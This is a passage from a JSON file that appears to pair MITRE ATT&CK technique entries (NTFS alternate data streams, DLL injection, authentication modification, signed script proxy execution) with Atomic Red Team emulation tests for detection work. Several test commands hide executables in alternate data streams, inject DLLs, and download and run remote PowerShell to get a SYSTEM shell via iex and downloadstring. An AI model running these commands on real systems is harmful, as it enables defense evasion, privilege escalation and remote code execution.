- },
- "atomic_tests": []
- },
- "T1564.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oddvar Moe, @oddvarmoe",
- "Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
- "type": "attack-pattern",
- "created": "2020-03-13T20:33:00.009Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1564.004",
- "url": "https://attack.mitre.org/techniques/T1564/004"
- },
- {
- "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea",
- "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.",
- "source_name": "SpectorOps Host-Based Jul 2017"
- },
- {
- "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
- "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
- "source_name": "Microsoft NTFS File Attributes Aug 2010"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/aa364404",
- "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.",
- "source_name": "Microsoft File Streams"
- },
- {
- "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
- "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
- "source_name": "MalwareBytes ADS July 2015"
- },
- {
- "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
- "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
- "source_name": "Microsoft ADS Mar 2014"
- },
- {
- "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
- "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
- "source_name": "Journey into IR ZeroAccess NTFS EA"
- },
- {
- "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/",
- "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.",
- "source_name": "Oddvar Moe ADS1 Jan 2018"
- },
- {
- "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/",
- "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.",
- "source_name": "Oddvar Moe ADS2 Apr 2018"
- },
- {
- "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore",
- "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
- "source_name": "Symantec ADS May 2009"
- }
- ],
- "modified": "2020-03-29T22:46:56.308Z",
- "name": "Hide Artifacts: NTFS File Attributes",
- "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile
and ZwQueryEaFile
Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]
) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r
command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream
parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Process: OS API Execution",
- "File: File Metadata",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Host forensic analysis",
- "Signature-based detection"
- ],
- "x_mitre_system_requirements": [
- "NTFS partitioned hard drive"
- ],
- "identifier": "T1564.004"
- },
- "atomic_tests": [
- {
- "name": "Alternate Data Streams (ADS)",
- "auto_generated_guid": "8822c3b0-d9f9-4daf-a043-49f4602364f4",
- "description": "Execute from Alternate Streams\n\n[Reference - 1](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)\n\n[Reference - 2](https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "path": {
- "description": "Path of ADS file",
- "type": "path",
- "default": "c:\\ADS\\"
- }
- },
- "executor": {
- "command": "type C:\\temp\\evil.exe > \"C:\\Program Files (x86)\\TeamViewer\\TeamViewer12_Logfile.log:evil.exe\"\nextrac32 #{path}\\procexp.cab #{path}\\file.txt:procexp.exe\nfindstr /V /L W3AllLov3DonaldTrump #{path}\\procexp.exe > #{path}\\file.txt:procexp.exe\ncertutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1 c:\\temp:ttt\nmakecab #{path}\\autoruns.exe #{path}\\cabtest.txt:autoruns.cab\nprint /D:#{path}\\file.txt:autoruns.exe #{path}\\Autoruns.exe\nreg export HKLM\\SOFTWARE\\Microsoft\\Evilreg #{path}\\file.txt:evilreg.reg\nregedit /E #{path}\\file.txt:regfile.reg HKEY_CURRENT_USER\\MyCustomRegKey\nexpand \\\\webdav\\folder\\file.bat #{path}\\file.txt:file.bat\nesentutl.exe /y #{path}\\autoruns.exe /d #{path}\\file.txt:autoruns.exe /o \n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Store file in Alternate Data Stream (ADS)",
- "auto_generated_guid": "2ab75061-f5d5-4c1a-b666-ba2a50df5b02",
- "description": "Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.\nUpon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "payload_path": {
- "description": "Path of file to hide in ADS",
- "type": "path",
- "default": "c:\\windows\\system32\\cmd.exe"
- },
- "ads_file_path": {
- "description": "Path of file to create an ADS under",
- "type": "path",
- "default": "C:\\Users\\Public\\Libraries\\yanki\\desktop.ini"
- },
- "ads_name": {
- "description": "Name of ADS",
- "type": "string",
- "default": "desktop.ini"
- }
- },
- "executor": {
- "command": "if (!(Test-Path C:\\Users\\Public\\Libraries\\yanki -PathType Container)) {\n New-Item -ItemType Directory -Force -Path C:\\Users\\Public\\Libraries\\yanki\n }\nStart-Process -FilePath \"$env:comspec\" -ArgumentList \"/c,type,#{payload_path},>,`\"#{ads_file_path}:#{ads_name}`\"\"\n",
- "cleanup_command": "Remove-Item \"#{ads_file_path}\" -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Create ADS command prompt",
- "auto_generated_guid": "17e7637a-ddaf-4a82-8622-377e20de8fdb",
- "description": "Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run \"dir /a-d /s /r | find \":$DATA\"\" in the %temp%\nfolder to view that the alternate data stream exists. To view the data in the alternate data stream, run \"notepad T1564.004_has_ads.txt:adstest.txt\"\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "File name of file to create ADS on.",
- "type": "string",
- "default": "%temp%\\T1564.004_has_ads_cmd.txt"
- },
- "ads_filename": {
- "description": "Name of ADS.",
- "type": "string",
- "default": "adstest.txt"
- }
- },
- "executor": {
- "command": "echo cmd /c echo \"Shell code execution.\"> #{file_name}:#{ads_filename}\nfor /f \"usebackq delims=?\" %i in (#{file_name}:#{ads_filename}) do %i\n",
- "cleanup_command": "del #{file_name} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Create ADS PowerShell",
- "auto_generated_guid": "0045ea16-ed3c-4d4c-a9ee-15e44d1560d1",
- "description": "Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command \"ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname\"\nin the %temp% direcotry to view all files with hidden data streams. To view the data in the alternate data stream, run \"notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt\" in the %temp% folder.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "File name of file to create ADS on.",
- "type": "string",
- "default": "$env:TEMP\\T1564.004_has_ads_powershell.txt"
- },
- "ads_filename": {
- "description": "Name of ADS file.",
- "type": "string",
- "default": "adstest.txt"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The file must exist on disk at specified location (#{file_name})\n",
- "prereq_command": "if (Test-Path #{file_name}) { exit 0 } else { exit 1 }\n",
- "get_prereq_command": "New-Item -Path #{file_name} | Out-Null\n"
- }
- ],
- "executor": {
- "command": "echo \"test\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \"test\"\nset-content -path #{file_name} -stream #{ads_filename} -value \"test2\"\nset-content -path . -stream #{ads_filename} -value \"test3\"\n",
- "cleanup_command": "Remove-Item -Path #{file_name} -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1096": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Red Canary",
- "Oddvar Moe, @oddvarmoe"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:11.147Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1096",
- "url": "https://attack.mitre.org/techniques/T1096"
- },
- {
- "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea",
- "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.",
- "source_name": "SpectorOps Host-Based Jul 2017"
- },
- {
- "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
- "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
- "source_name": "Microsoft NTFS File Attributes Aug 2010"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/aa364404",
- "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.",
- "source_name": "Microsoft File Streams"
- },
- {
- "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/",
- "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
- "source_name": "MalwareBytes ADS July 2015"
- },
- {
- "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/",
- "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
- "source_name": "Microsoft ADS Mar 2014"
- },
- {
- "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
- "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
- "source_name": "Journey into IR ZeroAccess NTFS EA"
- },
- {
- "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/",
- "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.",
- "source_name": "Oddvar Moe ADS1 Jan 2018"
- },
- {
- "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/",
- "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.",
- "source_name": "Oddvar Moe ADS2 Apr 2018"
- },
- {
- "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore",
- "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
- "source_name": "Symantec ADS May 2009"
- }
- ],
- "modified": "2020-03-13T21:04:13.284Z",
- "name": "NTFS File Attributes",
- "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]
) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r
command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream
parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Signature-based detection",
- "Host forensic analysis",
- "Anti-virus"
- ],
- "x_mitre_system_requirements": [
- "NTFS partitioned hard drive"
- ]
- },
- "atomic_tests": []
- },
- "T1055.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
- "type": "attack-pattern",
- "created": "2020-01-14T01:26:08.145Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.001",
- "url": "https://attack.mitre.org/techniques/T1055/001"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/hunting-memory",
- "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
- "source_name": "Elastic HuntingNMemory June 2017"
- }
- ],
- "modified": "2021-10-18T12:20:00.382Z",
- "name": "Process Injection: Dynamic-link Library Injection",
- "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx
and WriteProcessMemory
, then invoked with CreateRemoteThread
(which calls the LoadLibrary
API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary
).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Access",
- "Process: OS API Execution",
- "Module: Module Load",
- "Process: Process Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1055.001"
- },
- "atomic_tests": [
- {
- "name": "Process Injection via mavinject.exe",
- "auto_generated_guid": "74496461-11a1-4982-b439-4d87a550d254",
- "description": "Windows 10 Utility To Inject DLLS.\n\nUpon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.\nWith default arguments, expect to see a MessageBox, with notepad's icon in taskbar.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_id": {
- "description": "PID of input_arguments",
- "type": "integer",
- "default": "(Start-Process notepad -PassThru).id"
- },
- "dll_payload": {
- "description": "DLL to Inject",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1055.001\\src\\x64\\T1055.001.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Utility to inject must exist on disk at specified location (#{dll_payload})\n",
- "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll\" -OutFile \"#{dll_payload}\"\n"
- }
- ],
- "executor": {
- "command": "$mypid = #{process_id}\nmavinject $mypid /INJECTRUNNING #{dll_payload}\nStop-Process -processname notepad\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique",
- "auto_generated_guid": "8b56f787-73d9-4f1d-87e8-d07e89cbc7f5",
- "description": "Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')",
- "name": "powershell"
- }
- }
- ]
- },
- "T1556": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Chris Ross @xorrior"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84",
- "type": "attack-pattern",
- "created": "2020-02-11T19:01:56.887Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556",
- "url": "https://attack.mitre.org/techniques/T1556"
- },
- {
- "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
- "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
- "source_name": "Clymb3r Function Hook Passwords Sept 2013"
- },
- {
- "source_name": "Dell Skeleton",
- "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
- "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
- },
- {
- "source_name": "Xorrior Authorization Plugins",
- "url": "https://xorrior.com/persistent-credential-theft/",
- "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021."
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
- "source_name": "TechNet Audit Policy"
- },
- {
- "source_name": "dump_pwd_dcsync",
- "url": "https://adsecurity.org/?p=2053",
- "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021."
- }
- ],
- "modified": "2022-02-10T22:26:33.374Z",
- "name": "Modify Authentication Process",
- "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages
) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess
that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/
) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption
configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true
, Set-ADUser
and Set-ADAccountControl
. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Logon Session: Logon Session Creation",
- "File: File Creation",
- "Process: OS API Execution",
- "Process: Process Access",
- "Windows Registry: Windows Registry Key Modification",
- "Module: Module Load"
- ]
- },
- "atomic_tests": []
- },
- "T1216": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian",
- "Wes Hurd"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1216",
- "url": "https://attack.mitre.org/techniques/T1216"
- },
- {
- "source_name": "GitHub Ultimate AppLocker Bypass List",
- "url": "https://github.com/api0cradle/UltimateAppLockerByPassList",
- "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018."
- },
- {
- "source_name": "LOLBAS Project",
- "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria",
- "description": "Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)",
- "modified": "2022-04-18T14:43:46.045Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Signed Script Proxy Execution",
- "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Script: Script Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Digital Certificate Validation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1216"
- },
- "atomic_tests": [
- {
- "name": "SyncAppvPublishingServer Signed Script PowerShell Command Execution",
- "auto_generated_guid": "275d963d-3f36-476c-8bef-a2a3960ee6eb",
- "description": "Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command.\nUpon execution, calc.exe will be launched.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_to_execute": {
- "description": "A PowerShell command to execute.",
- "type": "string",
- "default": "Start-Process calc"
- }
- },
- "executor": {
- "command": "C:\\windows\\system32\\SyncAppvPublishingServer.vbs \"\\n;#{command_to_execute}\"\n",
